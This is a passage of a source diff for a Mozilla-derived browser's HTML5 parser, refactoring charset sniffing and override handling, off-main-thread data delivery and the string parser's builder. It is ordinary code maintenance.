NS_ASSERTION(mCharset.EqualsLiteral("UTF-8"),
@@ -658,7 +638,7 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
break;
case SEEN_UTF_16_LE_FIRST_BYTE:
if (aFromSegment[i] == 0xFE) {
- rv = SetupDecodingFromBom("UTF-16", "UTF-16LE"); // upper case is the raw form
+ rv = SetupDecodingFromBom("UTF-16LE"); // upper case is the raw form
NS_ENSURE_SUCCESS(rv, rv);
uint32_t count = aCount - (i + 1);
rv = WriteStreamBytes(aFromSegment + (i + 1), count, &writeCount);
@@ -670,7 +650,7 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
break;
case SEEN_UTF_16_BE_FIRST_BYTE:
if (aFromSegment[i] == 0xFF) {
- rv = SetupDecodingFromBom("UTF-16", "UTF-16BE"); // upper case is the raw form
+ rv = SetupDecodingFromBom("UTF-16BE"); // upper case is the raw form
NS_ENSURE_SUCCESS(rv, rv);
uint32_t count = aCount - (i + 1);
rv = WriteStreamBytes(aFromSegment + (i + 1), count, &writeCount);
@@ -689,7 +669,7 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
break;
case SEEN_UTF_8_SECOND_BYTE:
if (aFromSegment[i] == 0xBF) {
- rv = SetupDecodingFromBom("UTF-8", "UTF-8"); // upper case is the raw form
+ rv = SetupDecodingFromBom("UTF-8"); // upper case is the raw form
NS_ENSURE_SUCCESS(rv, rv);
uint32_t count = aCount - (i + 1);
rv = WriteStreamBytes(aFromSegment + (i + 1), count, &writeCount);
@@ -707,29 +687,22 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
// if we get here, there either was no BOM or the BOM sniffing isn't complete
// yet
+ MOZ_ASSERT(mCharsetSource != kCharsetFromByteOrderMark,
+ "Should not come here if BOM was found.");
+ MOZ_ASSERT(mCharsetSource != kCharsetFromOtherComponent,
+ "kCharsetFromOtherComponent is for XSLT.");
+
if (mBomState == BOM_SNIFFING_OVER &&
- mCharsetSource >= kCharsetFromChannel) {
- // There was no BOM and the charset came from channel or higher. mCharset
- // still contains the charset from the channel or higher as set by an
+ mCharsetSource == kCharsetFromChannel) {
+ // There was no BOM and the charset came from channel. mCharset
+ // still contains the charset from the channel as set by an
// earlier call to SetDocumentCharset(), since we didn't find a BOM and
- // overwrite mCharset.
- nsCOMPtr<nsICharsetConverterManager> convManager =
- do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID);
- convManager->GetUnicodeDecoder(mCharset.get(),
- getter_AddRefs(mUnicodeDecoder));
- if (mUnicodeDecoder) {
- mFeedChardet = false;
- mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
- mMetaScanner = nullptr;
- return WriteSniffingBufferAndCurrentSegment(aFromSegment,
- aCount,
- aWriteCount);
- } else {
- // nsHTMLDocument is supposed to make sure this does not happen. Let's
- // deal with this anyway, since who knows how kCharsetFromOtherComponent
- // is used.
- mCharsetSource = kCharsetFromWeakDocTypeDefault;
- }
+ // overwrite mCharset. (Note that if the user has overridden the charset,
+ // we don't come here but check <meta> for XSS-dangerous charsets first.)
+ mFeedChardet = false;
+ mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(aFromSegment,
+ aCount, aWriteCount);
}
if (!mMetaScanner && (mMode == NORMAL ||
@@ -745,17 +718,31 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
if (mMode == NORMAL || mMode == VIEW_SOURCE_HTML || mMode == LOAD_AS_DATA) {
nsHtml5ByteReadable readable(aFromSegment, aFromSegment +
countToSniffingLimit);
- mMetaScanner->sniff(&readable, getter_AddRefs(mUnicodeDecoder), mCharset);
- if (mUnicodeDecoder) {
- // meta scan successful
+ nsAutoCString encoding;
+ mMetaScanner->sniff(&readable, encoding);
+ if (!encoding.IsEmpty()) {
+ // meta scan successful; honor overrides unless meta is XSS-dangerous
+ if ((mCharsetSource == kCharsetFromParentForced ||
+ mCharsetSource == kCharsetFromUserForced) &&
+ EncodingUtils::IsAsciiCompatible(encoding)) {
+ // Honor override
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(
+ aFromSegment, aCount, aWriteCount);
+ }
+ mCharset.Assign(encoding);
mCharsetSource = kCharsetFromMetaPrescan;
mFeedChardet = false;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
- mMetaScanner = nullptr;
- return WriteSniffingBufferAndCurrentSegment(aFromSegment, aCount,
- aWriteCount);
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(
+ aFromSegment, aCount, aWriteCount);
}
}
+ if (mCharsetSource == kCharsetFromParentForced ||
+ mCharsetSource == kCharsetFromUserForced) {
+ // meta not found, honor override
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(
+ aFromSegment, aCount, aWriteCount);
+ }
return FinalizeSniffing(aFromSegment, aCount, aWriteCount,
countToSniffingLimit);
}
@@ -763,22 +750,28 @@ nsHtml5StreamParser::SniffStreamBytes(const uint8_t* aFromSegment,
// not the last buffer
if (mMode == NORMAL || mMode == VIEW_SOURCE_HTML || mMode == LOAD_AS_DATA) {
nsHtml5ByteReadable readable(aFromSegment, aFromSegment + aCount);
- mMetaScanner->sniff(&readable, getter_AddRefs(mUnicodeDecoder), mCharset);
- if (mUnicodeDecoder) {
- // meta scan successful
+ nsAutoCString encoding;
+ mMetaScanner->sniff(&readable, encoding);
+ if (!encoding.IsEmpty()) {
+ // meta scan successful; honor overrides unless meta is XSS-dangerous
+ if ((mCharsetSource == kCharsetFromParentForced ||
+ mCharsetSource == kCharsetFromUserForced) &&
+ EncodingUtils::IsAsciiCompatible(encoding)) {
+ // Honor override
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(aFromSegment,
+ aCount, aWriteCount);
+ }
+ mCharset.Assign(encoding);
mCharsetSource = kCharsetFromMetaPrescan;
mFeedChardet = false;
mTreeBuilder->SetDocumentCharset(mCharset, mCharsetSource);
- mMetaScanner = nullptr;
- return WriteSniffingBufferAndCurrentSegment(aFromSegment,
- aCount,
- aWriteCount);
+ return SetupDecodingAndWriteSniffingBufferAndCurrentSegment(aFromSegment,
+ aCount, aWriteCount);
}
}
if (!mSniffingBuffer) {
- const mozilla::fallible_t fallible = mozilla::fallible_t();
- mSniffingBuffer = new (fallible)
+ mSniffingBuffer = new (mozilla::fallible)
uint8_t[NS_HTML5_STREAM_PARSER_SNIFFING_BUFFER_SIZE];
if (!mSniffingBuffer) {
return NS_ERROR_OUT_OF_MEMORY;
@@ -802,7 +795,7 @@ nsHtml5StreamParser::WriteStreamBytes(const uint8_t* aFromSegment,
NS_WARNING("mLastBuffer should not be null!");
MarkAsBroken(NS_ERROR_NULL_POINTER);
return NS_ERROR_NULL_POINTER;
- }
+ }
if (mLastBuffer->getEnd() == NS_HTML5_STREAM_PARSER_READ_BUFFER_SIZE) {
nsRefPtr<nsHtml5OwningUTF16Buffer> newBuf =
nsHtml5OwningUTF16Buffer::FalliblyCreate(
@@ -854,7 +847,6 @@ nsHtml5StreamParser::WriteStreamBytes(const uint8_t* aFromSegment,
}
}
-// nsIRequestObserver methods:
nsresult
nsHtml5StreamParser::OnStartRequest(nsIRequest* aRequest, nsISupports* aContext)
{
@@ -879,7 +871,14 @@ nsHtml5StreamParser::OnStartRequest(nsIRequest* aRequest, nsISupports* aContext)
bool scriptingEnabled = mMode == LOAD_AS_DATA ?
false : mExecutor->IsScriptEnabled();
mOwner->StartTokenizer(scriptingEnabled);
- mTreeBuilder->setIsSrcdocDocument(IsSrcdocDocument());
+
+ bool isSrcdoc = false;
+ nsCOMPtr<nsIChannel> channel;
+ nsresult rv = GetChannel(getter_AddRefs(channel));
+ if (NS_SUCCEEDED(rv)) {
+ isSrcdoc = NS_IsSrcdocChannel(channel);
+ }
+ mTreeBuilder->setIsSrcdocDocument(isSrcdoc);
mTreeBuilder->setScriptingEnabled(scriptingEnabled);
mTreeBuilder->SetPreventScriptExecution(!((mMode == NORMAL) &&
scriptingEnabled));
@@ -900,7 +899,7 @@ nsHtml5StreamParser::OnStartRequest(nsIRequest* aRequest, nsISupports* aContext)
* WillBuildModel to be called before the document has had its
* script global object set.
*/
- nsresult rv = mExecutor->WillBuildModel(eDTDMode_unknown);
+ rv = mExecutor->WillBuildModel(eDTDMode_unknown);
NS_ENSURE_SUCCESS(rv, rv);
nsRefPtr<nsHtml5OwningUTF16Buffer> newBuf =
@@ -937,6 +936,22 @@ nsHtml5StreamParser::OnStartRequest(nsIRequest* aRequest, nsISupports* aContext)
}
}
+ // Attempt to retarget delivery of data (via OnDataAvailable) to the parser
+ // thread, rather than through the main thread.
+ nsCOMPtr<nsIThreadRetargetableRequest> threadRetargetableRequest =
+ do_QueryInterface(mRequest, &rv);
+ if (threadRetargetableRequest) {
+ rv = threadRetargetableRequest->RetargetDeliveryTo(mThread);
+ }
+
+ if (NS_FAILED(rv)) {
+ // for now skip warning if we're on child process, since we don't support
+ // off-main thread delivery there yet. This will change with bug 1015466
+ if (XRE_GetProcessType() != GoannaProcessType_Content) {
+ NS_WARNING("Failed to retarget HTML data delivery to the parser thread.");
+ }
+ }
+
if (mCharsetSource == kCharsetFromParentFrame) {
// Remember this in case chardet overwrites mCharsetSource
mInitialEncodingWasFromParentFrame = true;
@@ -958,17 +973,26 @@ nsHtml5StreamParser::OnStartRequest(nsIRequest* aRequest, nsISupports* aContext)
mFeedChardet = false;
// Instantiate the converter here to avoid BOM sniffing.
- nsCOMPtr<nsICharsetConverterManager> convManager = do_GetService(NS_CHARSETCONVERTERMANAGER_CONTRACTID, &rv);
- NS_ENSURE_SUCCESS(rv, rv);
- rv = convManager->GetUnicodeDecoder(mCharset.get(), getter_AddRefs(mUnicodeDecoder));
- // if we failed to get a decoder, there will be fallback, so don't propagate
- // the error.
- if (NS_FAILED(rv)) {
- mCharsetSource = kCharsetFromWeakDocTypeDefault;
- }
+ mUnicodeDecoder = EncodingUtils::DecoderForEncoding(mCharset);
return NS_OK;
}
+nsresult
+nsHtml5StreamParser::CheckListenerChain()
+{
+ NS_ASSERTION(NS_IsMainThread(), "Should be on the main thread!");
+ if (!mObserver) {
+ return NS_OK;
+ }
+ nsresult rv;
+ nsCOMPtr<nsIThreadRetargetableStreamListener> retargetable =
+ do_QueryInterface(mObserver, &rv);
+ if (NS_SUCCEEDED(rv) && retargetable) {
+ rv = retargetable->CheckListenerChain();
+ }
+ return rv;
+}
+
void
nsHtml5StreamParser::DoStopRequest()
{
@@ -1006,7 +1030,7 @@ class nsHtml5RequestStopper : public nsRunnable
private:
nsHtml5RefPtr<nsHtml5StreamParser> mStreamParser;
public:
- nsHtml5RequestStopper(nsHtml5StreamParser* aStreamParser)
+ explicit nsHtml5RequestStopper(nsHtml5StreamParser* aStreamParser)
: mStreamParser(aStreamParser)
{}
NS_IMETHODIMP Run()
@@ -1035,7 +1059,7 @@ nsHtml5StreamParser::OnStopRequest(nsIRequest* aRequest,
}
void
-nsHtml5StreamParser::DoDataAvailable(uint8_t* aBuffer, uint32_t aLength)
+nsHtml5StreamParser::DoDataAvailable(const uint8_t* aBuffer, uint32_t aLength)
{
NS_ASSERTION(IsParserThread(), "Wrong thread!");
NS_PRECONDITION(STREAM_BEING_READ == mStreamState,
@@ -1105,13 +1129,12 @@ class nsHtml5DataAvailable : public nsRunnable
}
};
-// nsIStreamListener method:
nsresult
nsHtml5StreamParser::OnDataAvailable(nsIRequest* aRequest,
- nsISupports* aContext,
- nsIInputStream* aInStream,
- uint64_t aSourceOffset,
- uint32_t aLength)
+ nsISupports* aContext,
+ nsIInputStream* aInStream,
+ uint64_t aSourceOffset,
+ uint32_t aLength)
{
nsresult rv;
if (NS_FAILED(rv = mExecutor->IsBroken())) {
@@ -1120,22 +1143,54 @@ nsHtml5StreamParser::OnDataAvailable(nsIRequest* aRequest,
NS_ASSERTION(mRequest == aRequest, "Got data on wrong stream.");
uint32_t totalRead;
- const mozilla::fallible_t fallible = mozilla::fallible_t();
- nsAutoArrayPtr<uint8_t> data(new (fallible) uint8_t[aLength]);
- if (!data) {
- return mExecutor->MarkAsBroken(NS_ERROR_OUT_OF_MEMORY);
- }
- rv = aInStream->Read(reinterpret_cast<char*>(data.get()),
- aLength, &totalRead);
- NS_ENSURE_SUCCESS(rv, rv);
- NS_ASSERTION(totalRead <= aLength, "Read more bytes than were available?");
- nsCOMPtr<nsIRunnable> dataAvailable = new nsHtml5DataAvailable(this,
- data.forget(),
- totalRead);
- if (NS_FAILED(mThread->Dispatch(dataAvailable, nsIThread::DISPATCH_NORMAL))) {
- NS_WARNING("Dispatching DataAvailable event failed.");
+ // Main thread to parser thread dispatch requires copying to buffer first.
+ if (NS_IsMainThread()) {
+ nsAutoArrayPtr<uint8_t> data(new (mozilla::fallible) uint8_t[aLength]);
+ if (!data) {
+ return mExecutor->MarkAsBroken(NS_ERROR_OUT_OF_MEMORY);
+ }
+ rv = aInStream->Read(reinterpret_cast<char*>(data.get()),
+ aLength, &totalRead);
+ NS_ENSURE_SUCCESS(rv, rv);
+ NS_ASSERTION(totalRead <= aLength, "Read more bytes than were available?");
+
+ nsCOMPtr<nsIRunnable> dataAvailable = new nsHtml5DataAvailable(this,
+ data.forget(),
+ totalRead);
+ if (NS_FAILED(mThread->Dispatch(dataAvailable, nsIThread::DISPATCH_NORMAL))) {
+ NS_WARNING("Dispatching DataAvailable event failed.");
+ }
+ return rv;
+ } else {
+ NS_ASSERTION(IsParserThread(), "Wrong thread!");
+ mozilla::MutexAutoLock autoLock(mTokenizerMutex);
+
+ // Read directly from response buffer.
+ rv = aInStream->ReadSegments(CopySegmentsToParser, this, aLength,
+ &totalRead);
+ if (NS_FAILED(rv)) {
+ NS_WARNING("Failed reading response data to parser");
+ return rv;
+ }
+ return NS_OK;
}
- return rv;
+}
+
+/* static */
+NS_METHOD
+nsHtml5StreamParser::CopySegmentsToParser(nsIInputStream *aInStream,
+ void *aClosure,
+ const char *aFromSegment,
+ uint32_t aToOffset,
+ uint32_t aCount,
+ uint32_t *aWriteCount)
+{
+ nsHtml5StreamParser* parser = static_cast<nsHtml5StreamParser*>(aClosure);
+
+ parser->DoDataAvailable((const uint8_t*)aFromSegment, aCount);
+ // Assume DoDataAvailable consumed all available bytes.
+ *aWriteCount = aCount;
+ return NS_OK;
}
bool
@@ -1150,13 +1205,20 @@ nsHtml5StreamParser::PreferredForInternalEncodingDecl(nsACString& aEncoding)
return false;
}
- if (newEncoding.EqualsLiteral("UTF-16") ||
- newEncoding.EqualsLiteral("UTF-16BE") ||
+ if (newEncoding.EqualsLiteral("UTF-16BE") ||
newEncoding.EqualsLiteral("UTF-16LE")) {
mTreeBuilder->MaybeComplainAboutCharset("EncMetaUtf16",
true,
mTokenizer->getLineNumber());
- newEncoding.Assign("UTF-8");
+ newEncoding.AssignLiteral("UTF-8");
+ }
+
+ if (newEncoding.EqualsLiteral("x-user-defined")) {
+ // WebKit/Blink hack for Indian and Armenian legacy sites
+ mTreeBuilder->MaybeComplainAboutCharset("EncMetaUserDefined",
+ true,
+ mTokenizer->getLineNumber());
+ newEncoding.AssignLiteral("windows-1252");
}
if (newEncoding.Equals(mCharset)) {
@@ -1353,7 +1415,7 @@ class nsHtml5StreamParserContinuation : public nsRunnable
private:
nsHtml5RefPtr<nsHtml5StreamParser> mStreamParser;
public:
- nsHtml5StreamParserContinuation(nsHtml5StreamParser* aStreamParser)
+ explicit nsHtml5StreamParserContinuation(nsHtml5StreamParser* aStreamParser)
: mStreamParser(aStreamParser)
{}
NS_IMETHODIMP Run()
@@ -1440,7 +1502,7 @@ nsHtml5StreamParser::ContinueAfterScripts(nsHtml5Tokenizer* aTokenizer,
mTokenizer->setLineNumber(speculation->GetStartLineNumber());
nsContentUtils::ReportToConsole(nsIScriptError::warningFlag,
- "DOM Events",
+ NS_LITERAL_CSTRING("DOM Events"),
mExecutor->GetDocument(),
nsContentUtils::eDOM_PROPERTIES,
"SpeculationFailed",
@@ -1518,7 +1580,7 @@ class nsHtml5TimerKungFu : public nsRunnable
private:
nsHtml5RefPtr<nsHtml5StreamParser> mStreamParser;
public:
- nsHtml5TimerKungFu(nsHtml5StreamParser* aStreamParser)
+ explicit nsHtml5TimerKungFu(nsHtml5StreamParser* aStreamParser)
: mStreamParser(aStreamParser)
{}
NS_IMETHODIMP Run()
@@ -1619,26 +1681,3 @@ nsHtml5StreamParser::MarkAsBroken(nsresult aRv)
NS_WARNING("failed to dispatch executor flush event");
}
}
-
-bool
-nsHtml5StreamParser::IsSrcdocDocument()
-{
- nsresult rv;
-
- bool isSrcdoc = false;
- nsCOMPtr<nsIChannel> channel;
- rv = GetChannel(getter_AddRefs(channel));
- if (NS_SUCCEEDED(rv)) {
- nsCOMPtr<nsIInputStreamChannel> isr = do_QueryInterface(channel);
- if (isr) {
- isr->GetIsSrcdocChannel(&isSrcdoc);
- return isSrcdoc;
- }
- nsCOMPtr<nsIViewSourceChannel> vsc = do_QueryInterface(channel);
- if (vsc) {
- vsc->GetIsSrcdocChannel(&isSrcdoc);
- return isSrcdoc;
- }
- }
- return isSrcdoc;
-}
diff --git a/parser/html/nsHtml5StreamParser.h b/parser/html/nsHtml5StreamParser.h
index 6d70cb43c..e7d6cc19e 100644
--- a/parser/html/nsHtml5StreamParser.h
+++ b/parser/html/nsHtml5StreamParser.h
@@ -3,12 +3,11 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5StreamParser_h__
-#define nsHtml5StreamParser_h__
+#ifndef nsHtml5StreamParser_h
+#define nsHtml5StreamParser_h
#include "nsAutoPtr.h"
#include "nsCOMPtr.h"
-#include "nsIStreamListener.h"
#include "nsICharsetDetectionObserver.h"
#include "nsHtml5MetaScanner.h"
#include "nsIUnicodeDecoder.h"
@@ -100,8 +99,7 @@ enum eHtml5StreamState {
STREAM_ENDED = 2
};
-class nsHtml5StreamParser : public nsIStreamListener,
- public nsICharsetDetectionObserver {
+class nsHtml5StreamParser : public nsICharsetDetectionObserver {
friend class nsHtml5RequestStopper;
friend class nsHtml5DataAvailable;
@@ -111,26 +109,35 @@ class nsHtml5StreamParser : public nsIStreamListener,
public:
NS_DECL_AND_IMPL_ZEROING_OPERATOR_NEW
NS_DECL_CYCLE_COLLECTING_ISUPPORTS
- NS_DECL_CYCLE_COLLECTION_CLASS_AMBIGUOUS(nsHtml5StreamParser, nsIStreamListener)
+ NS_DECL_CYCLE_COLLECTION_CLASS_AMBIGUOUS(nsHtml5StreamParser,
+ nsICharsetDetectionObserver)
static void InitializeStatics();
nsHtml5StreamParser(nsHtml5TreeOpExecutor* aExecutor,
nsHtml5Parser* aOwner,
eParserMode aMode);
-
- virtual ~nsHtml5StreamParser();
- // nsIRequestObserver methods:
- NS_DECL_NSIREQUESTOBSERVER
- // nsIStreamListener methods:
- NS_DECL_NSISTREAMLISTENER
-
+ // Methods that nsHtml5StreamListener calls
+ nsresult CheckListenerChain();
+
+ nsresult OnStartRequest(nsIRequest* aRequest, nsISupports* aContext);
+
+ nsresult OnDataAvailable(nsIRequest* aRequest,
+ nsISupports* aContext,
+ nsIInputStream* aInStream,
+ uint64_t aSourceOffset,
+ uint32_t aLength);
+
+ nsresult OnStopRequest(nsIRequest* aRequest,
+ nsISupports* aContext,
+ nsresult status);
+
// nsICharsetDetectionObserver
/**
* Chardet calls this to report the detection result
*/
- NS_IMETHOD Notify(const char* aCharset, nsDetectionConfident aConf);
+ NS_IMETHOD Notify(const char* aCharset, nsDetectionConfident aConf) override;
// EncodingDeclarationHandler
// http://hg.mozilla.org/projects/htmlparser/file/tip/src/nu/validator/htmlparser/common/EncodingDeclarationHandler.java
@@ -177,7 +184,8 @@ class nsHtml5StreamParser : public nsIStreamListener,
*/
void ContinueAfterFailedCharsetSwitch();
- void Terminate() {
+ void Terminate()
+ {
mozilla::MutexAutoLock autoLock(mTerminatedMutex);
mTerminated = true;
}
@@ -189,7 +197,7 @@ class nsHtml5StreamParser : public nsIStreamListener,
* case if aEncoding names a supported rough ASCII superset and sets
* the mCharset and mCharsetSource to the UTF-8 default otherwise.
*/
- void SetEncodingFromExpat(const PRUnichar* aEncoding);
+ void SetEncodingFromExpat(const char16_t* aEncoding);
/**
* Sets the URL for View Source title in case this parser ends up being
@@ -198,9 +206,8 @@ class nsHtml5StreamParser : public nsIStreamListener,
*/
void SetViewSourceTitle(nsIURI* aURL);
- bool IsSrcdocDocument();
-
private:
+ virtual ~nsHtml5StreamParser();
#ifdef DEBUG
bool IsParserThread() {
@@ -218,12 +225,14 @@ class nsHtml5StreamParser : public nsIStreamListener,
* avoid having a previous in-flight runnable cancel your Interrupt()
* call on the other thread too soon.
*/
- void Interrupt() {
+ void Interrupt()
+ {
mozilla::MutexAutoLock autoLock(mTerminatedMutex);
mInterrupted = true;
}
- void Uninterrupt() {
+ void Uninterrupt()
+ {
NS_ASSERTION(IsParserThread(), "Wrong thread!");
mTokenizerMutex.AssertCurrentThreadOwns();
// Not acquiring mTerminatedMutex because mTokenizerMutex is already
@@ -241,14 +250,23 @@ class nsHtml5StreamParser : public nsIStreamListener,
void DoStopRequest();
- void DoDataAvailable(uint8_t* aBuffer, uint32_t aLength);
+ void DoDataAvailable(const uint8_t* aBuffer, uint32_t aLength);
- bool IsTerminatedOrInterrupted() {
+ static NS_METHOD CopySegmentsToParser(nsIInputStream *aInStream,
+ void *aClosure,
+ const char *aFromSegment,
+ uint32_t aToOffset,
+ uint32_t aCount,
+ uint32_t *aWriteCount);
+
+ bool IsTerminatedOrInterrupted()
+ {
mozilla::MutexAutoLock autoLock(mTerminatedMutex);
return mTerminated || mInterrupted;
}
- bool IsTerminated() {
+ bool IsTerminated()
+ {
mozilla::MutexAutoLock autoLock(mTerminatedMutex);
return mTerminated;
}
@@ -256,7 +274,8 @@ class nsHtml5StreamParser : public nsIStreamListener,
/**
* True when there is a Unicode decoder already
*/
- inline bool HasDecoder() {
+ inline bool HasDecoder()
+ {
return !!mUnicodeDecoder;
}
@@ -314,32 +333,14 @@ class nsHtml5StreamParser : public nsIStreamListener,
uint32_t* aWriteCount);
/**
- * Write the sniffing buffer into the Unicode decoder followed by the
- * current network buffer.
- *
- * @param aFromSegment The current network buffer or null if the sniffing
- * buffer is being flushed due to network stream ending.
- * @param aCount The number of bytes in aFromSegment (ignored if
- * aFromSegment is null)
- * @param aWriteCount Return value for how many bytes got read from the
- * buffer.
- */
- nsresult WriteSniffingBufferAndCurrentSegment(const uint8_t* aFromSegment,
- uint32_t aCount,
- uint32_t* aWriteCount);
-
- /**
* Initialize the Unicode decoder, mark the BOM as the source and
* drop the sniffer.
*
- * @param aCharsetName The charset name to report to the outside (UTF-16
- * or UTF-8)
- * @param aDecoderCharsetName The actual name for the decoder's charset
+ * @param aDecoderCharsetName The name for the decoder's charset
* (UTF-16BE, UTF-16LE or UTF-8; the BOM has
* been swallowed)
*/
- nsresult SetupDecodingFromBom(const char* aCharsetName,
- const char* aDecoderCharsetName);
+ nsresult SetupDecodingFromBom(const char* aDecoderCharsetName);
/**
* Become confident or resolve and encoding name to its preferred form.
@@ -550,4 +551,4 @@ class nsHtml5StreamParser : public nsIStreamListener,
static int32_t sTimerSubsequentDelay;
};
-#endif // nsHtml5StreamParser_h__
+#endif // nsHtml5StreamParser_h
diff --git a/parser/html/nsHtml5StringParser.cpp b/parser/html/nsHtml5StringParser.cpp
index b733c111e..70f63571a 100644
--- a/parser/html/nsHtml5StringParser.cpp
+++ b/parser/html/nsHtml5StringParser.cpp
@@ -14,12 +14,11 @@
NS_IMPL_ISUPPORTS0(nsHtml5StringParser)
nsHtml5StringParser::nsHtml5StringParser()
- : mExecutor(new nsHtml5TreeOpExecutor(true))
- , mTreeBuilder(new nsHtml5TreeBuilder(mExecutor, nullptr))
+ : mBuilder(new nsHtml5OplessBuilder())
+ , mTreeBuilder(new nsHtml5TreeBuilder(mBuilder))
, mTokenizer(new nsHtml5Tokenizer(mTreeBuilder, false))
{
MOZ_COUNT_CTOR(nsHtml5StringParser);
- mAtomTable.Init();
mTokenizer->setInterner(&mAtomTable);
}
@@ -43,10 +42,9 @@ nsHtml5StringParser::ParseFragment(const nsAString& aSourceBuffer,
nsIURI* uri = doc->GetDocumentURI();
NS_ENSURE_TRUE(uri, NS_ERROR_NOT_AVAILABLE);
- nsIContent* target = aTargetNode;
mTreeBuilder->setFragmentContext(aContextLocalName,
aContextNamespace,
- &target,
+ aTargetNode,
aQuirks);
#ifdef DEBUG
@@ -62,8 +60,7 @@ nsHtml5StringParser::ParseFragment(const nsAString& aSourceBuffer,
mTreeBuilder->SetPreventScriptExecution(aPreventScriptExecution);
- Tokenize(aSourceBuffer, doc, true);
- return NS_OK;
+ return Tokenize(aSourceBuffer, doc, true);
}
nsresult
@@ -83,28 +80,28 @@ nsHtml5StringParser::ParseDocument(const nsAString& aSourceBuffer,
mTreeBuilder->SetPreventScriptExecution(true);
- Tokenize(aSourceBuffer, aTargetDoc, aScriptingEnabledForNoscriptParsing);
- return NS_OK;
+ return Tokenize(aSourceBuffer, aTargetDoc, aScriptingEnabledForNoscriptParsing);
}
-void
+nsresult
nsHtml5StringParser::Tokenize(const nsAString& aSourceBuffer,
nsIDocument* aDocument,
bool aScriptingEnabledForNoscriptParsing) {
nsIURI* uri = aDocument->GetDocumentURI();
- mExecutor->Init(aDocument, uri, nullptr, nullptr);
+ mBuilder->Init(aDocument, uri, nullptr, nullptr);
+
+ mBuilder->SetParser(this);
+ mBuilder->SetNodeInfoManager(aDocument->NodeInfoManager());
- mExecutor->SetParser(this);
- mExecutor->SetNodeInfoManager(aDocument->NodeInfoManager());
+ // Mark the parser as *not* broken by passing NS_OK
+ nsresult rv = mBuilder->MarkAsBroken(NS_OK);
- NS_PRECONDITION(!mExecutor->HasStarted(),
- "Tried to start parse without initializing the parser.");
mTreeBuilder->setScriptingEnabled(aScriptingEnabledForNoscriptParsing);
mTreeBuilder->setIsSrcdocDocument(aDocument->IsSrcdocDocument());
+ mBuilder->Start();
mTokenizer->start();
- mExecutor->Start(); // Don't call WillBuildModel in fragment case
if (!aSourceBuffer.IsEmpty()) {
bool lastWasCR = false;
nsHtml5DependentUTF16Buffer buffer(aSourceBuffer);
@@ -113,25 +110,15 @@ nsHtml5StringParser::Tokenize(const nsAString& aSourceBuffer,
lastWasCR = false;
if (buffer.hasMore()) {
lastWasCR = mTokenizer->tokenizeBuffer(&buffer);
- if (mTreeBuilder->HasScript()) {
- // If we come here, we are in createContextualFragment() or in the
- // upcoming document.parse(). It's unclear if it's really necessary
- // to flush here, but let's do so for consistency with other flushes
- // to avoid different code paths on the executor side.
- mTreeBuilder->Flush(); // Move ops to the executor
- mExecutor->FlushDocumentWrite(); // run the ops
+ if (NS_FAILED(rv = mBuilder->IsBroken())) {
+ break;
}
}
}
}
mTokenizer->eof();
- mTreeBuilder->StreamEnded();
- mTreeBuilder->Flush();
- mExecutor->FlushDocumentWrite();
mTokenizer->end();
- mExecutor->DropParserAndPerfHint();
- mExecutor->DropHeldElements();
- mTreeBuilder->DropHandles();
+ mBuilder->Finish();
mAtomTable.Clear();
- mExecutor->Reset();
+ return rv;
}
diff --git a/parser/html/nsHtml5StringParser.h b/parser/html/nsHtml5StringParser.h
index acd23bba9..1c258be4e 100644
--- a/parser/html/nsHtml5StringParser.h
+++ b/parser/html/nsHtml5StringParser.h
@@ -2,13 +2,13 @@
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
-#ifndef nsHtml5StringParser_h_
-#define nsHtml5StringParser_h_
+#ifndef nsHtml5StringParser_h
+#define nsHtml5StringParser_h
#include "nsHtml5AtomTable.h"
#include "nsParserBase.h"
-class nsHtml5TreeOpExecutor;
+class nsHtml5OplessBuilder;
class nsHtml5TreeBuilder;
class nsHtml5Tokenizer;
class nsIContent;
@@ -25,7 +25,6 @@ class nsHtml5StringParser : public nsParserBase
* nsContentUtils statics that wrap this.
*/
nsHtml5StringParser();
- virtual ~nsHtml5StringParser();
/**
* Invoke the fragment parsing algorithm (innerHTML).
@@ -58,14 +57,16 @@ class nsHtml5StringParser : public nsParserBase
private:
- void Tokenize(const nsAString& aSourceBuffer,
- nsIDocument* aDocument,
- bool aScriptingEnabledForNoscriptParsing);
+ virtual ~nsHtml5StringParser();
+
+ nsresult Tokenize(const nsAString& aSourceBuffer,
+ nsIDocument* aDocument,
+ bool aScriptingEnabledForNoscriptParsing);
/**
* The tree operation executor
*/
- nsRefPtr<nsHtml5TreeOpExecutor> mExecutor;
+ nsRefPtr<nsHtml5OplessBuilder> mBuilder;
/**
* The HTML5 tree builder
@@ -84,4 +85,4 @@ class nsHtml5StringParser : public nsParserBase
};
-#endif // nsHtml5StringParser_h_
+#endif // nsHtml5StringParser_h
diff --git a/parser/html/nsHtml5Tokenizer.cpp b/parser/html/nsHtml5Tokenizer.cpp
index 4426e7527..6f157d8b1 100644
--- a/parser/html/nsHtml5Tokenizer.cpp
+++ b/parser/html/nsHtml5Tokenizer.cpp
@@ -58,47 +58,48 @@
#include "nsHtml5Tokenizer.h"
-PRUnichar nsHtml5Tokenizer::LT_GT[] = { '<', '>' };
-PRUnichar nsHtml5Tokenizer::LT_SOLIDUS[] = { '<', '/' };
-PRUnichar nsHtml5Tokenizer::RSQB_RSQB[] = { ']', ']' };
-PRUnichar nsHtml5Tokenizer::REPLACEMENT_CHARACTER[] = { 0xfffd };
-PRUnichar nsHtml5Tokenizer::LF[] = { '\n' };
-PRUnichar nsHtml5Tokenizer::CDATA_LSQB[] = { 'C', 'D', 'A', 'T', 'A', '[' };
